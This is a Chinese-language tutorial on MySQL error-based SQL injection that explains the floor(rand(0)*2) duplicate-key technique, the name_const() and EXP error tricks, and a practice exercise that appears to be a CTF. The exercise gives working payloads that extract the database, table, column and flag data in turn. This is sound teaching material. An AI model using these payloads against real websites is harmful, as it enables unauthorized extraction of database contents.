一、sql语句基础
floor
向下取整
count
取数据的数量
group by
分组查询
Rand
随机数
limit
二、floor报错注入
主键重复报错
我们先了解group by产生的虚拟表的原理,了解到虚拟表的主键是不可以重复的
我们再可以通过Rand(0)函数规定固定种子后乘2,再用floor取整让列名出现以下能够不断重复的数列,乘2的目的是为了让
Rand(0)函数取到的大于0.5的函数大于1,从而让数列能够在0和1之间,间歇的出现
接着我们就可以在group by的虚拟表中动手了,利用floor(rand(0)*2) 为user表中的每个数据生成种子,再乘以2取整,为虚拟表生成固定的键01101,具体原理看下图,就能实现重复报错:
练习
我们来练习一道题目,练习之前先复习一下我们之前学的判断字符型注入和数字型注入的方法
id=1
测试是否有sql注入
id=1'
测试数字型sql注入
id=1%23
测试字符型sql注入
id=1'%23
我们来看一下这道题,依旧是过滤了union联合查询:
通过测试,这是一个数字型注入,找到注入点后,我们就开始注入:
因为页面直接回显了报错信息,可以使用报错注入,在使用updatexml或者extractvalue时 提示了过滤,换成floor函数,我们来看一下payload:
#爆库名
id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
#爆表名
id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
#爆列名
id=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
#拿数据
id=1 and (select 1 from (select count(*),concat((select flag from flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
我们看到第一个爆库名我们主要的参数还是写在concat里面,and 后面的参数呢和我们的上面的重复报错的例子基本上一样的
select username,count(*) from user group by floor(rand(0)*2);
不同的地方就是我们用concat()
把database()和floor()
连接起来了:
concat(database(),floor(rand(0)*2))x
x是别名,意思是给我们前面的语句起了个名字,那么x就代表了:
concat(database(),floor(rand(0)*2))
后面的group by x
实际上就等同于group by concat(database(),floor(rand(0)*2))
我们直接利用一下payload:
这里回显了’web1’,web是我们database()
的报错信息,1就是floor(rand(0)*2)
的报错信息,只不过我们用concat把他们两都链接起来了,我们接着拿表名:
我们成功拿到了flag表名,这里注意一下,我们使用了limit 0,1
,我们删掉试试:
现在返回的错误显示我们查询的返回超过一行,我们回顾一下上一次我们遇到错误的时候,我们使用group_concat()
将我们的多行合并成一行,这里我们需要使用limit
因为我们在前面的sql基础讲过limit
可以限制sql语句返回的行数,这里我们让他从第零行开始返回一条数据,我们把第零行修改成1,让它返回一条数据,它就把user表输出出来了,我们接着拿列名:
拿到列名后,我们直接去那flag列里面的数据:
现在我们就拿到了flag,这个flag相对于我们上一次的extractvalue拥有的长度限制,在floor里是没有这个限制的,可以一次性的把全部都输出:
三、MySql特性
列名重复
Name_const()
函数是给变量赋值的,我们看一下下面的实例中的用法就是把test赋值给name,那么我们的name就对应着test,我们看到下面的报错,这里用到了两个Name_const(),产生了两个相同的列名,就导致了报错,爆出了数据库版本号,Name_const()
有个限制只能拿到数据库版本号:
几何函数
几何函数通常是用来产生溢出错误,比如我们输入一个数字特别大,让mysql执行不了,下面列举了几个报错的函数:
我们主要看一下第一个EXP,我们执行一下:
我们看到,虽然它报错了,但是没有我们想要的user()
数据,比如说没有把我们想要的root@localhost
显示出来,只有一个user()
,我们这里注意一下,上面的这些函数,在mysql<5.5.47的版本下是可以显示出我们刚刚的执行结果的,但我们的版本是5.5.53是显示不出来的,但是我们后面会讲解报错盲注,把EXP的报错特性和盲注结合起来的一种注入: